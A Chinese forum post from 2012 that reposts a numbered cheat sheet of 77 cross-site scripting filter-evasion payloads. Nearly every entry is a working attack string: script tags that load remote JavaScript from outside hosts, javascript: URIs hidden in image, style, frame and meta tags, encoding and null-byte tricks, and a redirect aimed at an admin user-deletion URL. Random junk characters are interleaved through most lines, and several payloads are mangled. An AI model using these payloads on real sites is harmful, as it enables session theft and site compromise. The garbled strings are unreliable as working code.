找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3687|回复: 0
打印 上一主题 下一主题

xss跨站脚本攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:56:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
" d: x5 s/ P7 g! h3 V) c/ l1 |6 |, H+ E$ q
(1)普通的XSS JavaScript注入
7 u+ R/ u: j8 b7 m2 S <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
) d; d! s# Q9 A/ t# A% \
- q0 {. C4 {' g9 e1 D( W& t; ?0 z (2)IMG标签XSS使用JavaScript命令
# \! f& p4 R0 c0 t5 k0 \5 x& X <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
. \9 A( e9 r  ?5 @
2 e+ B' L* \& A (3)IMG标签无分号无引号
9 J7 k: F/ [* C# y: I1 ~2 F <IMG SRC=javascript:alert(‘XSS’)>
9 [$ I0 i$ m! K
0 S! n" W5 T6 c$ Z9 V1 k/ U! _% d (4)IMG标签大小写不敏感6 P( i* ^$ Q/ x- e% ]" m6 \" p
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>' N+ C  `+ g( q; i$ n& c5 D

; l0 Y/ [6 v+ l- G# w: Z2 x (5)HTML编码(必须有分号)
* Y  h$ Y$ n( C  l" D <IMG SRC=javascript:alert(“XSS”)>0 ?/ W" d3 L3 Q3 W
: P1 M9 L+ @5 o/ f8 c. O* w* x2 {
(6)修正缺陷IMG标签
' M+ o; ^9 t" t, m/ f0 a+ n  j3 k: w$ ? <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
/ G! q6 _7 ]% s: ]/ J
  g5 L1 e0 r8 c, J (7)formCharCode标签(计算器)
5 L9 J6 f+ a& f: Z" P9 I <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>- q4 G, M& E) p1 F, I7 S
) B6 a6 i& G; D# ?5 ~; j
(8)UTF-8的Unicode编码(计算器)
3 E! O! u! A- K  S* ^ <IMG SRC=jav..省略..S')>
+ R1 A. S0 M. t  t8 @! e
; o+ B3 s  i! y (9)7位的UTF-8的Unicode编码是没有分号的(计算器)0 _, _4 a& G6 T# R1 B+ Y( ~6 c
<IMG SRC=jav..省略..S')>+ M5 n7 p* ~& b  ~6 V4 p" _# L

# G. b( t4 E$ o/ ?  D0 B+ R4 M (10)十六进制编码也是没有分号(计算器)
4 v0 W0 L- u( Z2 c <IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>7 _  v6 p' Y1 Y! z. H0 ^$ y+ P

3 ?+ \' h% x, n% o  J4 J (11)嵌入式标签,将Javascript分开$ |+ H- u$ \4 e# ^! A  x0 d
<IMG SRC=”jav ascript:alert(‘XSS’);”>8 [4 R0 k3 o* q
5 w) n2 t3 O2 D
(12)嵌入式编码标签,将Javascript分开2 v$ Z! s$ ^# j5 V( n
<IMG SRC=”jav ascript:alert(‘XSS’);”>
9 M) }# F8 Y, }' G' E* _' b0 a2 w$ l% s9 {( D4 g5 u
(13)嵌入式换行符
" |9 z0 ]0 m1 }# O <IMG SRC=”jav ascript:alert(‘XSS’);”>/ d9 o8 z0 U. ^4 m
( k$ h* a- P; q& n+ @
(14)嵌入式回车
3 I& q4 Q4 r1 W9 z8 u  \0 \ <IMG SRC=”jav ascript:alert(‘XSS’);”>
- R4 C$ k+ i8 E5 t6 I8 a1 b0 h% N9 U0 Z8 G
(15)嵌入式多行注入JavaScript,这是XSS极端的例子2 j- B2 m% g( h6 Z0 s
<IMG SRC=”javascript:alert(‘XSS‘)”>
5 x1 \5 H9 j! M0 Z, \# F( G+ v3 X5 v- E6 N3 B( @# q* p; [
(16)解决限制字符(要求同页面)
. ?% [+ z3 ^3 S4 Q$ \+ w* g <script>z=’document.’</script>
+ w$ F# a$ ]8 B2 H' |% l& } <script>z=z+’write(“‘</script>9 d/ o9 V0 j/ T% B* c4 @6 J- G' g
<script>z=z+’<script’</script>! ^6 q6 u6 p: k9 W, K0 Y; o
<script>z=z+’ src=ht’</script>; C' i3 j: X) I9 k/ G0 i" s1 ]
<script>z=z+’tp://ww’</script>
( D1 U5 ~5 }! q' b% X <script>z=z+’w.shell’</script>- S9 r* z* H* \" v% K
<script>z=z+’.net/1.’</script>8 ^9 u; F/ F+ E$ ^( K
<script>z=z+’js></sc’</script>9 J, d2 z0 R0 @6 R  R, o: y: Q
<script>z=z+’ript>”)’</script>
/ @  K+ Y* E  |! L1 T: f <script>eval_r(z)</script>, A" |' T( L4 S& H. }
& \1 a( G4 @1 f* w
(17)空字符, D  V( E$ g0 K/ Y
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out) P7 W" ]9 t0 `6 M' c& b

7 Q+ h3 E+ j: F& v' t (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
) Z, g9 m/ m" O0 U( R9 t perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
. I* K9 m$ ~* R" E, J$ F) E
% D* `* Q/ U1 D. o- { (19)Spaces和meta前的IMG标签
1 G- I9 Q3 h$ x  g0 V; c( B- J <IMG SRC=”   javascript:alert(‘XSS’);”>$ r. l! M$ s, s( K* R

# K# a7 g, n( @+ F- Y* T( c7 z% l2 g (20)Non-alpha-non-digit XSS9 k9 O1 T8 x0 L5 _2 k4 ]
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
, ?1 u% f& A/ ]% [2 }
  o' p( [) u3 c; ]$ D" m0 @ (21)Non-alpha-non-digit XSS to 2
# I! q4 ]0 }3 |$ w <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
0 H3 s- d; ^% c- W1 Q$ p  `- B2 b
! p% c9 {8 w) u (22)Non-alpha-non-digit XSS to 3
6 n7 K: r4 G9 z# q <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>  W$ z+ [' z# j1 K0 [& w. v

: H3 a3 J! l3 J (23)双开括号+ C! V& w: Z  R/ S/ W! m8 V$ Z- t
<<SCRIPT>alert(“XSS”);//<</SCRIPT>  F# T3 _% F& ?* y# t9 |
: A0 p* S, j5 F2 z# J
(24)无结束脚本标记(仅火狐等浏览器)* \4 J* ^  _* E$ y$ U
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>9 c2 J( K7 f+ g5 I
( X3 I" ?# @" g% \3 s2 K) j
(25)无结束脚本标记2
# p# r. V: `4 k, M* S- \ <SCRIPT SRC=//3w.org/XSS/xss.js>
$ M' j% L) f, R! v* ]* S2 Y; w, Z% O1 Y+ b9 `& z1 z8 s
(26)半开的HTML/JavaScript XSS' D2 u) G4 h7 q  w( n0 s
<IMG SRC=”javascript:alert(‘XSS’)”$ P1 H8 s( p- x2 O) q# n4 H( h
1 A3 Y5 s4 z/ P1 i$ u) v
(27)双开角括号
2 u4 X. i) {. ~) W* k; R6 U! r <iframe src=http://3w.org/XSS.html <. c, h* d1 k. `/ M) F" T0 h  c

3 X7 K( t' I1 {2 A (28)无单引号 双引号 分号
# Y, `2 m6 S5 U: w5 Y- @) q <SCRIPT>a=/XSS/
. ]1 O5 s2 \8 X alert(a.source)</SCRIPT>
3 v2 c" K2 K6 r& q! L; p. s7 @' r( O, l: W! k8 `
(29)换码过滤的JavaScript
6 c* n9 ?& c; t- {- }- J$ t0 T \”;alert(‘XSS’);//
9 }/ x+ n  S! h1 M5 s% h: r$ J( D  e7 v2 j
(30)结束Title标签
& n4 J4 K# e/ R# t/ ]" Z8 E </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
& @2 W  e* C& M: W0 U- W2 G. S  o+ j6 v; w
(31)Input Image3 w8 u* G$ c9 x2 D
<INPUT SRC=”javascript:alert(‘XSS’);”>5 g& y5 U7 P' {' K4 C# G- k
3 o9 f( F+ A) ~3 C+ r- t- M( J+ K
(32)BODY Image+ u$ S0 P' w" X; n# j( F
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
; G7 N4 s' ?0 [" O# Q# Z% m7 d7 q7 e! }+ B% z$ B0 J9 ]% I
(33)BODY标签' x3 J: W2 C3 m4 s# \
<BODY(‘XSS’)>
* ^$ o$ M/ N: j! B( E
5 @5 R/ X- w- k (34)IMG Dynsrc
/ @+ Y+ M7 I( Y <IMG DYNSRC=”javascript:alert(‘XSS’)”>
4 Q) Y, q2 O/ W9 [7 I; u% ]
( l, y8 h7 j+ l8 V$ E$ [1 ^ (35)IMG Lowsrc
# Y  f/ p" C& H2 I9 S3 j4 P <IMG LOWSRC=”javascript:alert(‘XSS’)”>' Z+ S% g4 p$ |, k2 }1 Z( A
; N4 Y. E7 J8 o' s( Y# R; W
(36)BGSOUND
1 Y" d( x; V9 L5 a& ?$ I2 h! X- T8 R <BGSOUND SRC=”javascript:alert(‘XSS’);”># o/ l; U5 T1 e& r

  D' d6 D; ~9 z( Y. B) w+ _+ p9 K (37)STYLE sheet. ]9 {$ C$ O, F: Q4 F5 @5 _- X
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
9 K' K' o- D* P) q% j/ u( E: G+ T5 ?  [9 ?
(38)远程样式表
4 }' i- I7 I8 x2 _6 l7 r  j <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
8 p. |, |, Y' Q+ o! w: ]
& [: x. y# |9 {* Q (39)List-style-image(列表式)
$ k1 }: I4 C3 }* [& A <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
! Z7 U  u2 g/ ]! f( M& Y, P. Y2 }8 i8 {0 U& Q2 V% V/ _
(40)IMG VBscript( E1 p9 `5 `* B: B& }3 g+ }  Z
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
6 \2 x  V7 T% x% W! q  D  W! G4 J" t& e" i; r
(41)META链接url
0 L% _$ ^+ B/ j, A <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>) U$ t8 G7 B. ^

$ W* X1 J! L0 w* u) B* I: I6 P5 ] (42)Iframe
0 I+ }# U) Z! P) l- h3 V <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
+ p4 Q  V2 K  q
. h2 v+ v( L" u- R (43)Frame/ H. W$ o4 q, A- h8 Y  f: [
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
. Q* e$ D! M7 f5 w
. I  C7 d0 O8 i6 r; S' [4 i/ a (44)Table' R" q0 f5 N0 I" |: z6 h
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
9 S3 a4 O" g/ Y3 G2 M$ L3 k! W3 ]
(45)TD0 e2 f, L! p& E
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>4 t- P" G& a1 S# {
% U4 }5 u. W9 V7 Q
(46)DIV background-image
7 ^6 Y( M8 e( u" B: S6 o) w <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>! X2 Q/ {+ {$ Z& c: V1 P7 k

: `8 H% X& }7 |: H7 X, c' S+ z: w (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
1 _" {! Q* S1 u  y# |( p, Q <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>. X& E; }& H* M9 a1 n

5 {& A+ M; e& H. K (48)DIV expression1 k4 \, `5 F1 ]5 f
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>; R# ?9 ~* V$ Z

0 v; M% X& y3 y7 M (49)STYLE属性分拆表达( ~! s9 I$ S, R6 i) a
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
8 A! E' r" T8 B# z' L2 e) ~& }8 u" x+ R
(50)匿名STYLE(组成:开角号和一个字母开头)
! k/ O: d9 m, a <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>, w& ~/ c7 t1 ?' h
4 B  e9 o- w4 @- K* e9 p% V
(51)STYLE background-image
( g9 _5 \9 Y8 j6 l, U, @% V <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>8 o5 H2 Q  B" N( L9 N* F2 _
  n" K0 i0 ]7 a  e
(52)IMG STYLE方式  ~* ^9 f8 k: O- c6 f. H! m
exppression(alert(“XSS”))’>
* A. ]3 H. i8 o- V9 ~! U5 Q8 Z0 U( e! \* @( x
(53)STYLE background  \/ G( _3 h9 t% k  A% M5 Q
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
9 I6 O! Z3 q  a7 T* I: V; h
8 P6 f& F! i) J3 O4 P (54)BASE
7 t& G6 v+ B# I* j+ \ <BASE HREF=”javascript:alert(‘XSS’);//”>9 }9 [3 M. r9 H' K3 t( z" M
1 G" d/ Y7 z6 S  V* W/ m1 f
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS4 J$ Q. o  b4 n( o6 s. |
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>$ l3 {" r2 F8 P& s: H+ z; L  f
1 \+ _- i8 D& G1 s
(56)在flash中使用ActionScrpt可以混进你XSS的代码8 e- M. R( x0 E: g' s2 g5 j2 p" o' O  v
a=”get”;, |* K' {5 a9 n, d
b=”URL(\”";3 z0 k6 E4 T- w- O7 q# L
c=”javascript:”;
" c! |5 q% \% u% p/ K7 i) G3 ` d=”alert(‘XSS’);\”)”;4 E3 V( L* q7 c1 w3 O
eval_r(a+b+c+d);4 P% l! I  s  U* d5 [4 n& I- ~
4 r4 z8 r6 U% D* @& r2 {, T3 `0 t# H
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上  M8 F  R* r7 S: e& I/ C; w9 ]- d
<HTML xmlns:xss>
! O( N+ J$ v2 e <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
7 ~0 r1 f, z3 m; w <xss:xss>XSS</xss:xss>8 f6 e  m0 t) d- X. Z
</HTML>
2 J& W/ A) J0 u' g
6 P2 W3 D  R; m- c( q (58)如果过滤了你的JS你可以在图片里添加JS代码来利用5 X" c  ^% n( j. d
<SCRIPT SRC=””></SCRIPT>, U- f. E! u. @! l

8 x: v6 i% @+ Y3 E$ ? (59)IMG嵌入式命令,可执行任意命令
, X3 Z0 I1 f7 w <IMG SRC=”http://www.XXX.com/a.php?a=b”>1 b1 t0 B% A( G" p3 c

( K/ _+ w+ B( l( S4 Z) X, C: o2 R (60)IMG嵌入式命令(a.jpg在同服务器)
! T4 {8 }/ |+ r" Y0 J" ^+ p" P Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser. R2 [, t* E* G# Q/ }3 C

' z, E0 ^9 {6 n/ U. \: u( N (61)绕符号过滤! v- @& D" t: Q, |; r
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
/ B+ D" e; O. K9 C. |# p/ i" O- M9 e$ [7 l* b* }$ p* F  s4 c
(62)! J  D& o- I' Q" K. ]9 q$ ~0 w$ a0 k! w
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
# I: T3 ?# d/ J" v2 o" l$ p; z% n+ K  b' `1 X& H
(63)6 N* T' n6 e) F
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>/ e) Y  r) R( G4 _7 S: A, B
& K9 |4 k" R, o# P
(64)
& f. Q+ u- |  Y; k9 m; l. b <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>5 [1 }/ A$ h' A, ~. F$ g

8 p0 C9 ]  X6 d  h (65)* X5 ?. c# S# D$ D; E" d
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>3 m; H) k/ Z$ I" N9 `7 H8 w1 F2 S7 J
0 P# ^( R2 J1 O. U6 c9 D. w2 A, ?
(66)
8 ~" p/ {! T3 n# r <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>+ ]3 L* Y; E, m, Y4 y
) Q5 ^/ b9 {2 M0 u$ _  M
(67)" [  ]4 k+ c' g5 P" Y4 L! ?9 V
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>& y6 b$ P' }: G3 W# q6 {, t

7 M7 D8 K$ y; B0 F7 L  Z; ~ (68)URL绕行
7 N# w- t3 Y3 {# `) `4 V <A HREF=”http://127.0.0.1/”>XSS</A>
, @  h& w/ w. {5 ~+ O
. `4 f$ m+ V7 f (69)URL编码
% c, k0 s1 H  o2 L, \& d: Q% v <A HREF=”http://3w.org”>XSS</A>1 c$ w+ A% q' `( X9 z4 C) j

6 G- Q" n6 ^. @9 K/ L* }. ~+ @4 y (70)IP十进制" V/ x; B/ h8 U1 W8 y/ n
<A HREF=”http://3232235521″>XSS</A>7 F+ N1 @7 C3 c

  h1 F4 O  ~, d- _3 R- k" R3 p* H7 j (71)IP十六进制
8 E4 u0 b4 ^! {# `9 m* | <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
0 X. J- {* V( q5 b- D* J
9 R' y: A# ]8 |9 i6 o) Y# x (72)IP八进制
. ^) K- ^0 J: e7 P) D0 N <A HREF=”http://0300.0250.0000.0001″>XSS</A>
* Z: ?* F. P: Y  Q! q8 g5 K+ q/ t4 {- E
(73)混合编码6 o2 l4 ^7 b& N! L  @
<A HREF=”h% o, z" [0 |+ q7 [5 A
tt p://6 6.000146.0×7.147/”">XSS</A>
  n- r- R) `' x# ?3 Q- t0 m  z4 }' O$ Q, C9 u
(74)节省[http:]
. s! U7 ^0 u6 e! c <A HREF=”//www.google.com/”>XSS</A>" i- W2 m& n9 }; o4 V

# n% ^* c3 \; F7 N4 V# d# M (75)节省[www]
. Q1 B2 N5 ^* u/ h/ l& H' Y2 ~% t <A HREF=”http://google.com/”>XSS</A>8 J' n: _! d, C) T4 ?7 t) a

) I% }1 y9 y8 G! \8 M9 C8 X9 C (76)绝对点绝对DNS4 \( b: q! P! {& L1 Y: e+ j
<A HREF=”http://www.google.com./”>XSS</A>4 h2 ^$ F  Y- Y

+ |6 t5 O. W9 w8 E" R. X  R (77)javascript链接
2 u/ T* U& @; J( e: ^4 X# H/ ? <A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表